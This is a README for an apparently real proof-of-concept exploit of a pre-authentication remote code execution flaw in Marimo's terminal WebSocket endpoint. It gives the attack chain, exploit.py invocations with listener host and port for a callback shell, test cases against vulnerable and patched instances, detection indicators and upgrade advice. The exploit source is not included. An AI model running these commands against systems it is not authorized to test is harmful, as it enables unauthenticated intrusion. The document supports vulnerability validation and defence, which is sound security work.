
Proof-of-concept exploit for CVE-2026-39987, a pre-authentication RCE in Marimo's terminal WebSocket endpoint. Demonstrates unauthenticated command execution and includes validation tests for vulnerable and patched instances.
| Property | Value |
|---|
| CVE | CVE-2026-39987 |
| Product | Marimo |
| Vulnerability | Pre-Authentication Remote Code Execution |
| Attack Vector | Network |
| Authentication | Not required |
| User Interaction | Not required |
| CWE | CWE-306 — Missing Authentication for Critical Function |
| Severity | Critical |
| Fixed Version | 0.23.0 |
CVE-2026-39987 is a critical pre-authentication Remote Code Execution (RCE) vulnerability affecting Marimo, a reactive Python notebook environment. The vulnerability is located in the terminal WebSocket endpoint /terminal/ws.
The vulnerable terminal endpoint creates an interactive PTY after accepting a WebSocket connection.
Conceptually, the vulnerable request flow is:
Remote Client
|
| WebSocket connection
v
/terminal/ws
|
| Missing authentication validation
v
WebSocket accepted
|
v
PTY created
|
v
Interactive shell
The important security boundary is the missing authentication check.
An endpoint exposing arbitrary command execution must not allow an unauthenticated client to reach the PTY creation logic.
The purpose of this project is to demonstrate, in a controlled environment, the missing authentication enforcement affecting Marimo's terminal WebSocket endpoint.
Security teams can use the project to:
Warning: Run the PoC only against systems you own or are explicitly authorized to test.
The complete vulnerability chain can be summarized as follows:
1. Attacker discovers exposed Marimo instance
|
v
2. Attacker connects to /terminal/ws
|
v
3. Authentication is not enforced
|
v
4. WebSocket connection is accepted
|
v
5. PTY terminal is created
|
v
6. Attacker obtains command execution
|
v
7. Commands execute as the Marimo process
The critical security failure occurs at step 3.
Python 3.7+
pip
Network access to the authorized target
# Basic installation
pip install websocket-client
# Full installation
pip install websocket-client rich
python3 exploit.py --help
python3 exploit.py -u <TARGET_URL> --lhost <LOCAL_IP> --lport <PORT>
python3 exploit.py \
-u http://127.0.0.1:8081 \
--lhost 127.0.0.1 \
--lport 4444
python3 exploit.py \
-u https://marimo.example.com \
--lhost 192.168.1.100 \
--lport 5555 \
--timeout 30 \
--retries 5
python3 exploit.py \
-u http://target:8081 \
--lhost 10.0.0.5 \
--lport 9999 \
--verbose \
--no-verify-ssl \
--retry-delay 1.5
| Parameter | Type | Description | Default |
|---|---|---|---|
-u, --url | string | Base URL of the target Marimo instance | Required |
--lhost | string | Listener IP address | Required |
--lport | int | Listener port (1-65535) | Required |
--timeout | int | Listener timeout in seconds | 15 |
--retries | int | WebSocket connection retries | 3 |
--retry-delay | float | Delay between retries | 2.0 |
--no-verify-ssl | flag | Disable SSL certificate verification | False |
-v, --verbose | flag | Enable verbose output | False |
-s, --silent | flag | Suppress output | False |
Phase 1: Initialization
↓ Validate parameters
↓ Configure logging
Phase 2: Preparation
↓ Initialize listener
↓ Establish WebSocket connection
Phase 3: Validation
↓ Test terminal endpoint
↓ Verify authentication enforcement
↓ Record connection behavior
Phase 4: Demonstration
↓ Establish authorized test session
↓ Verify command-execution context
↓ Collect validation evidence
Phase 5: Cleanup
↓ Restore terminal state
↓ Close connections
↓ Release resources
python3 exploit.py \
-u http://vulnerable:8081 \
--lhost 10.0.0.1 \
--lport 4444
Expected Result: The vulnerable terminal endpoint accepts the unauthenticated connection.
python3 exploit.py \
-u http://patched:8081 \
--lhost 10.0.0.1 \
--lport 4444
Expected Result: The connection is rejected or otherwise prevented by the authentication controls.
python3 exploit.py \
-u http://firewalled:8081 \
--lhost 10.0.0.1 \
--lport 4444 \
--timeout 5
Expected Result: The timeout is reported cleanly.
Severity: Critical (CVSS 9.3)
Complexity: Low
Authentication: None required
Impact: Remote Code Execution
Protocol: WebSocket
Endpoint: /terminal/ws
Fixed Version: 0.23.0
The source README classifies the issue as CVSS 9.3 Critical and identifies CWE-306, WebSocket as the protocol, and /terminal/ws as the affected endpoint.
Potential indicators of exploitation include unexpected WebSocket connections to:
/terminal/ws
Defenders should investigate:
Upgrade Marimo to a fixed release:
0.23.0 or later
Additional defensive recommendations include:
/terminal/ws activity.CVE: CVE-2026-39987
CWE: CWE-306
Severity: Critical
Type: Pre-Authentication RCE
Protocol: WebSocket
Endpoint: /terminal/ws
Auth: None required
Fixed: 0.23.0
AUTHORIZED USE ONLY
This project is provided exclusively for:
Unauthorized use is strictly prohibited and may violate applicable local and international laws.
This project is provided for security research, vulnerability validation, and educational purposes.
Do not use the PoC against systems that you do not own or do not have explicit authorization to test.
The maintainers are not responsible for misuse, unauthorized testing, damage, data loss, or any consequences resulting from the use of this project.